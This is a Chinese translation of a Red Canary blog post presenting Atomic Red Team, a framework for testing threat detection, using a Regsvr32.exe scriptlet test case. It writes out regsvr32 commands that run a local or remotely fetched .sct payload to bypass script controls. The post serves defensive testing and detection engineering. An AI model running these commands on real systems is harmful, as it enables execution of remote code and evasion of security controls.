译者:興趣使然的小胃
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
一、前言
从安防角度来看,你如何确保已部署的安全解决方案已经调整完毕,准备迎接对手的实际挑战?你是否正在测试新的或者已有的安全产品,以检测安全威胁?如果你与许多团队一样,那么你可能会缺乏相应的内部资源或专业知识来模拟特定对手所使用的策略或技术。这也是我们最近推出Atomic Red Team的目的所在。Atomic Red Team是一个开源测试框架,可以测试用户的威胁检测能力。
我们之所以称之为“atomic(原子)”,是因为它可以作为小型组件,方便小型或大型安全团队使用,用来模拟特定攻击者的活动。
该框架地址为:https://github.com/redcanaryco/atomic-red-team
二、意义所在
MITRE团队收集了大量攻击者所使用的策略,我们认为这是目前最好的仓库之一。MITRE团队做了大量分类工作,为攻击生命周期中各种情况及各种策略提供参考资料。
每个安防人员都应该学习一下MITRE ATT&CK Framework。这个框架价值非凡,有助于我们更好地理解当前许多攻击者所具备的能力以及所使用的策略。
三、使用方法
Atomic Red Team是一个小型并且便捷的测试框架,与MITRE ATT&CK Framework相对应。每种测试用例都对应一种特定的攻击策略。通过这种方式,我们希望安防人员能够快速测试他们所使用的安防方案能否应对各种形式的攻击。
使用步骤如下:
1、进行测试前,请确保已事先获得必要的授权许可。未经授权进行测试并不是个好主意,可能会对个人记录产生不良影响。
2、请搭建一台与真实环境相似的测试主机。请确保你所使用的事件收集及EDR(端点检测及响应)解决方案已准备就绪,且端点已登录并处于活跃状态。
3、花点时间制定测试计划或测试方案。测试计划可以有多种形式。比如,我们可以在一个批处理文件中一次性执行所有的探测(Discovery)分支,也可以逐一运行每个分支,在运行中随时验证测试覆盖率。
操作视频如下所示:
四、测试案例:Regsvr32.exe
在这个例子中,我们会测试Regsvr32.exe的覆盖率。
你应该花点时间,了解一下这种攻击方法的相关知识,以理解这个测试用例的上下文背景。
在2016年春季时,我发现了这种攻击方法,当时我需要一种方法来绕过脚本控制策略。作为经过微软签名的工具,这种方法没有对应的补丁,可以轻易绕过或者规避大多数安全控制策略。
当时我发的推文如下:
五、测试阶段
这个测试框架分为三个阶段:
5.1 阶段1:执行测试
这个测试用例执行起来非常简单,因为所使用的工具在所有Windows工作站上都已默认安装。
请访问此链接查看详细的测试用例。
我们提供了两种方法来进行模拟:本地方法以及远程方法。此外,我们也提供了一个“.sct”示例文件,以辅助运行模拟过程。
1、本地方法
对于本地模拟,我们可以使用如下命令及预先提供的.sct文件:
regsvr32.exe /s /u /i:file.sct scrobj.dll
2、远程方法
对于远程模拟,你需要一个可以远程访问的服务器,以抓取或下载所需的文件,或者你也可以直接使用gist地址:
regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dll
请一定要注意执行测试所需的时间。你可以跟踪测试时长来测量测试过程的有效性。
5.2 阶段2:收集证据
你所使用的安防解决方案会观察到什么结果?你可能会看到用户目录中发生文件改动现象。你可能会检测到regsvr32.exe向某个外部IP地址发起网络连接。代理日志中可能存在相关记录。你可能会观察到Windows系统正在加载scrobj.dll。或者,你可能不会在端点上或网络中观察到任何行为。这些情况正是我们测试的目的所在。我们希望通过测试来明确可观测结果之间的差异,以进一步改善观测结果。
Red Canary使用EDR传感器来提供相关信息,辅助安防人员检测高级攻击行为。在下文中,我们将这种传感器称之为Carbon Black。
经过分析整理,最终检测结果如上图所示。我们会根据这个结果在Carbon Black中回溯与这次检测有关的事件。
我们通常会把上图称之为Carbon Black Art图。从更高层次来看,你可以可视化地观察到攻击的执行流程。你可以从这张图中看到由谁启动了什么程序。这张图对我们的分析过程帮助很大,但我们还需要看一下实际数据:
上图中,我们已经收集到攻击所使用的命令以及基本的进程信息。我们可以在这里提取到许多属性信息,包括一些命令行参数。
如上图所示,我们可以进一步挖掘数据,观察攻击中用来获取载荷的网络连接信息。
5.3 阶段3:开发检测方法
执行测试用例后,我们发现已部署的安防方案没有一个能正常工作,这就是我们为什么进行测试的原因。基于这个实验结果以及现有的测试能力,你需要使用你所掌握的能力,在这个环境中检测这个攻击事件。
单独抽出这个事件后,你可以观察一下你所收集的所有属性,分析哪些属性可以用于风险警报。对这个例子而言,你可以在Carbon Black中构建一个关注列表,其中包含特定的文件路径、exe文件、网络连接特征等。
检测方案构建完毕后,我们需要验证一下这种方案是否有效,是否已经过完善优化。如果你设计的检测方案过于宽泛,可以“检测”到每个regsvr32.exe,你将会面临排山倒海般的误报率。但如果你设计的方案过于狭隘,只能检测使用“/s /u /i”命令的regsvr32.exe,那么只要稍微修改一下命令行参数,所有攻击者都能绕过你的检测方案。
为了在这两者之间找到平衡点,你需要重新运行模拟过程,调整检测标准,直至你找到合适的平衡点。这并不是一个严格的科学过程,你需要持续迭代,才能得到较好的结果。
六、目标:衡量并改进
我们的目标之一,就是根据ATT&CK矩阵来衡量我们在覆盖率及功能方面的效果,找到仍需改进的地方。Roberto Rodriguez(@cyb3rWar0g)提供了一份电子表格以及补充文档,我们可以以此为依据,参考MITRE ATT&CK矩阵找到我们所处的具体位置。
利用Atomic Red Team,我们可以在模拟环境中运行这些测试用例,验证检测方案的有效性,也可以验证防御控制方案是否正常工作。这份电子表格提供了丰富的信息,蓝队可根据这些知识,通过各种方法来检测这类攻击行为。
七、总结
通过这篇文章,我们希望你能获得一些灵感或者具备一些能力,在自己的环境中模拟各类安全威胁。当然,还有许多情况需要模拟。我们非常欢迎大家提供反馈意见,以进一步改进这个框架。需要注意的是,通过这些测试用例,你无法百分百确保自己能检测并防御实际环境中的攻击行为。然而,这个测试过程可以帮助你查找现有检测流程中存在的不足,改善整体响应结果,使攻击者的行动更加困难。
本文成稿离不开Red Canary团队成员以及安全社区的共同协作。期待大家的反馈意见及贡献力量。
如果有任何意见或建议,欢迎联系我们:research@redcanary.com